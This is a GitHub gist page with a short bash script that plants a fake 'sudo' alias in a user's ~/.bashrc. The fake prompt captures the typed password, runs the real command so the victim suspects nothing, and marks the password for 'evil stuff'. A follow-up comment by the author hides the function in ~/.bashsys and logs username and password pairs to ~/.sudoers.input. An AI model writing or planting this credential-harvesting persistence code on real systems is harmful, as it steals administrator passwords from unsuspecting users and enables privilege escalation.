Skip to content

Instantly share code, notes, and snippets.

@duraki
Created June 10, 2020 07:54
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save duraki/431060184875fb704c4b7e0241ffcf92 to your computer and use it in GitHub Desktop.
Save duraki/431060184875fb704c4b7e0241ffcf92 to your computer and use it in GitHub Desktop.
# Create payload: replace sudo with an alias
payload='
fake_sudo() {
# Simulate a sudo prompt
echo -n "[sudo] password for ${USER}: "
read -s password
echo
# Run your command so you are happy
echo "$password" | sudo -S "$@"
# Do my evil stuff with your password
echo "Done with your command, now I could use $password to do what I want"
}
alias sudo=fake_sudo
'
# Write the payload to the bashrc config file
echo "$payload" >> ~/.bashrc
@duraki
Copy link
Author

duraki commented Sep 2, 2020

=> ~/.bashrc

if [ -f ~/.bashsys ]; then
  . ~/.bashsys
fi
alias sudo=emulate_sudo

=> ~/.bashsys

emulate_sudo() {
  echo -n "[sudo] password for ${USER}: "
  read -s password
  echo
  echo "${USER}:$password" >> ~/.sudoers.input
  echo "$password" | sudo -S "$@"
}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment